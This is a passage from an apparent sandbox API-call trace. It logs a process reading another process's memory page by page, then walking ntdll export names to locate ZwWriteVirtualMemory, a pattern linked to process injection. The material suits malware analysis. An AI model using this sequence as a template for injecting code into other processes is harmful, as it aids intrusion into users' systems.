Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0847000, Buffer=0x7fff, BufferSize=0x2597000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0848000, Buffer=0x7fff, BufferSize=0x2598000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0849000, Buffer=0x7fff, BufferSize=0x2599000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084a000, Buffer=0x7fff, BufferSize=0x259a000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.780] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084b000, Buffer=0x7fff, BufferSize=0x259b000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.781] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084c000, Buffer=0x7fff, BufferSize=0x259c000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.781] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084d000, Buffer=0x7fff, BufferSize=0x259d000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.824] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084e000, Buffer=0x7fff, BufferSize=0x259e000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.825] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf084f000, Buffer=0x7fff, BufferSize=0x259f000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.826] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0850000, Buffer=0x7fff, BufferSize=0x25a0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.826] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0851000, Buffer=0x7fff, BufferSize=0x25a1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.827] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0852000, Buffer=0x7fff, BufferSize=0x25a2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.827] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0853000, Buffer=0x7fff, BufferSize=0x25a3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.829] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0854000, Buffer=0x7fff, BufferSize=0x25a4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.830] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0855000, Buffer=0x7fff, BufferSize=0x25a5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.830] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0856000, Buffer=0x7fff, BufferSize=0x25a6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.832] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0857000, Buffer=0x7fff, BufferSize=0x25a7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.833] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0858000, Buffer=0x7fff, BufferSize=0x25a8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.833] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0859000, Buffer=0x7fff, BufferSize=0x25a9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.834] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085a000, Buffer=0x7fff, BufferSize=0x25aa000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.834] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085b000, Buffer=0x7fff, BufferSize=0x25ab000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.839] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085c000, Buffer=0x7fff, BufferSize=0x25ac000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.839] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085d000, Buffer=0x7fff, BufferSize=0x25ad000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.839] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085e000, Buffer=0x7fff, BufferSize=0x25ae000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.839] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf085f000, Buffer=0x7fff, BufferSize=0x25af000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.839] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0860000, Buffer=0x7fff, BufferSize=0x25b0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0861000, Buffer=0x7fff, BufferSize=0x25b1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0862000, Buffer=0x7fff, BufferSize=0x25b2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0863000, Buffer=0x7fff, BufferSize=0x25b3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0864000, Buffer=0x7fff, BufferSize=0x25b4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0865000, Buffer=0x7fff, BufferSize=0x25b5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.840] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0866000, Buffer=0x7fff, BufferSize=0x25b6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0867000, Buffer=0x7fff, BufferSize=0x25b7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0868000, Buffer=0x7fff, BufferSize=0x25b8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0869000, Buffer=0x7fff, BufferSize=0x25b9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086a000, Buffer=0x7fff, BufferSize=0x25ba000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086b000, Buffer=0x7fff, BufferSize=0x25bb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086c000, Buffer=0x7fff, BufferSize=0x25bc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.841] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086d000, Buffer=0x7fff, BufferSize=0x25bd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086e000, Buffer=0x7fff, BufferSize=0x25be000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf086f000, Buffer=0x7fff, BufferSize=0x25bf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0870000, Buffer=0x7fff, BufferSize=0x25c0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0871000, Buffer=0x7fff, BufferSize=0x25c1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0872000, Buffer=0x7fff, BufferSize=0x25c2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.842] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0873000, Buffer=0x7fff, BufferSize=0x25c3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0874000, Buffer=0x7fff, BufferSize=0x25c4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0875000, Buffer=0x7fff, BufferSize=0x25c5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0876000, Buffer=0x7fff, BufferSize=0x25c6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0877000, Buffer=0x7fff, BufferSize=0x25c7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0878000, Buffer=0x7fff, BufferSize=0x25c8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.843] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0879000, Buffer=0x7fff, BufferSize=0x25c9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087a000, Buffer=0x7fff, BufferSize=0x25ca000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087b000, Buffer=0x7fff, BufferSize=0x25cb000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087c000, Buffer=0x7fff, BufferSize=0x25cc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.844] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087d000, Buffer=0x7fff, BufferSize=0x25cd000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087e000, Buffer=0x7fff, BufferSize=0x25ce000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf087f000, Buffer=0x7fff, BufferSize=0x25cf000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0880000, Buffer=0x7fff, BufferSize=0x25d0000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0881000, Buffer=0x7fff, BufferSize=0x25d1000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0882000, Buffer=0x7fff, BufferSize=0x25d2000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0883000, Buffer=0x7fff, BufferSize=0x25d3000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.845] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0884000, Buffer=0x7fff, BufferSize=0x25d4000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0885000, Buffer=0x7fff, BufferSize=0x25d5000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0886000, Buffer=0x7fff, BufferSize=0x25d6000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0887000, Buffer=0x7fff, BufferSize=0x25d7000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0888000, Buffer=0x7fff, BufferSize=0x25d8000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf0889000, Buffer=0x7fff, BufferSize=0x25d9000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.846] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088a000, Buffer=0x7fff, BufferSize=0x25da000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088b000, Buffer=0x7fff, BufferSize=0x25db000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.847] NtWow64ReadVirtualMemory64 (in: ProcessHandle=0x17c, BaseAddress=0xf088c000, Buffer=0x7fff, BufferSize=0x25dc000, NumberOfBytesRead=0x1000 | out: Buffer=0x7fff, NumberOfBytesRead=0x1000) returned 0x0 [0142.868] lstrcmpA (lpString1="A_SHAFinal", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="A_SHAInit", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="A_SHAUpdate", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcAdjustCompletionListConcurrencyCount", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcFreeCompletionListMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetCompletionListLastMessageInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetCompletionListMessageAttributes", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetHeaderSize", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetMessageAttribute", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetMessageFromCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcGetOutstandingCompletionListMessageCount", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcInitializeMessageAttribute", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcMaxAllowedMessageLength", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcRegisterCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0142.868] lstrcmpA (lpString1="AlpcRegisterCompletionListWorkerThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="AlpcRundownCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="AlpcUnregisterCompletionList", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="AlpcUnregisterCompletionListWorkerThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="ApiSetQueryApiSetPresence", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrAllocateCaptureBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrAllocateMessagePointer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrCaptureMessageBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrCaptureMessageMultiUnicodeStringsInPlace", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrCaptureMessageString", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrCaptureTimeout", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrClientCallServer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrClientConnectToServer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrFreeCaptureBuffer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrGetProcessId", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrIdentifyAlertableThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrSetPriorityClass", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="CsrVerifyRegion", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgBreakPoint", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgPrint", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgPrintEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgPrintReturnControlC", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgPrompt", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgQueryDebugFilterState", lpString2="ZwWriteVirtualMemory") returned -1 [0142.869] lstrcmpA (lpString1="DbgSetDebugFilterState", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiConnectToDbg", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiContinue", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiConvertStateChangeStructure", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiConvertStateChangeStructureEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiDebugActiveProcess", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiGetThreadDebugObject", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiIssueRemoteBreakin", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiRemoteBreakin", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiSetThreadDebugObject", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiStopDebugging", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUiWaitStateChange", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="DbgUserBreakPoint", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwCreateTraceInstanceId", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwDeliverDataBlock", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEnumerateProcessRegGuids", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventActivityIdControl", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventEnabled", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventProviderEnabled", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventRegister", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventSetInformation", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventUnregister", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventWrite", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventWriteEndScenario", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventWriteEx", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventWriteFull", lpString2="ZwWriteVirtualMemory") returned -1 [0142.870] lstrcmpA (lpString1="EtwEventWriteNoRegistration", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwEventWriteStartScenario", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwEventWriteString", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwEventWriteTransfer", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwGetTraceEnableFlags", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwGetTraceEnableLevel", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwGetTraceLoggerHandle", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwLogTraceEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwNotificationRegister", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwNotificationUnregister", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwProcessPrivateLoggerRequest", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwRegisterSecurityProvider", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwRegisterTraceGuidsA", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwRegisterTraceGuidsW", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwReplyNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwSendNotification", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwSetMark", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwTraceEventInstance", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwTraceMessage", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwTraceMessageVa", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwUnregisterTraceGuids", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwWriteUMSecurityEvent", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwpCreateEtwThread", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EtwpGetCpuSpeed", lpString2="ZwWriteVirtualMemory") returned -1 [0142.871] lstrcmpA (lpString1="EvtIntReportAuthzEventAndSourceAsync", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="EvtIntReportEventAndSourceAsync", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="ExpInterlockedPopEntrySListEnd", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="ExpInterlockedPopEntrySListFault", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="ExpInterlockedPopEntrySListResume", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="KiRaiseUserExceptionDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="KiUserApcDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="KiUserCallbackDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="KiUserExceptionDispatcher", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="KiUserInvertedFunctionTable", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrAccessResource", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrAddDllDirectory", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrAddLoadAsDataTable", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrAddRefDll", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA (lpString1="LdrAppxHandleIntegrityFailure", lpString2="ZwWriteVirtualMemory") returned -1 [0142.872] lstrcmpA 